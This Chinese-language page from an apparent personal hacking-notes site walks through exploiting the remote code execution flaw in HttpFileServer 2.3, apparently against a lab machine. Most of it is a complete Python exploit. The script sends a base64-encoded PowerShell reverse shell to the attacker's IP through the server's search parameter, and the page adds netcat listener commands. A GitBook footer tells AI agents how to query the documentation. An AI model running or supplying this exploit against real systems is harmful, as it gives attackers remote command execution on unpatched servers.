> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/httpfileserver-2.3-cms-exploitation.md).

# HttpFileServer 2.3

发现了一个 HttpFileServer 2.3 Web 服务器。此版本存在远程代码执行（RCE）漏洞。

<figure><img src="/files/cbef130b3d545b58a81da6451d67822a72896f23" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f261386e6111627747f61342a34192188cfc7dd8" alt="" width="503"><figcaption></figcaption></figure>

### **漏洞利用搜索**

命令：

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**自定义 Python 脚本**

<figure><img src="/files/3beb5911a13fa34fcf985d886808fa8a334b1ebe" alt=""><figcaption></figcaption></figure>

**自定义 Python 脚本**

修改脚本以包含以下参数：

* `LHOST` ：你的本地 IP（VPN）。
* `LPORT` ：本地监听端口（例如 4444）。
* `RHOST`：目标 IP。
* `RPORT`：易受攻击的服务端口，例如 80。

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# 定义要写入文件的命令
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# 将命令编码为 base64 格式
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/n已将命令编码为 base64 格式...")

# 定义要包含在 URL 中的负载
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# 对负载进行编码并发送 HTTP GET 请求
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/n已对负载编码并向目标发送了 HTTP GET 请求...")

# 打印一些信息
print("/n正在打印一些调试信息...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# 监听连接
print("/n正在等待连接...")
os.system(f'nc -nlvp {lport}')
```

将你的机器设置为监听器：

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="/files/e8edd1a1c2d016e1a3f926f95b21ab72872ec52c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/httpfileserver-2.3-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
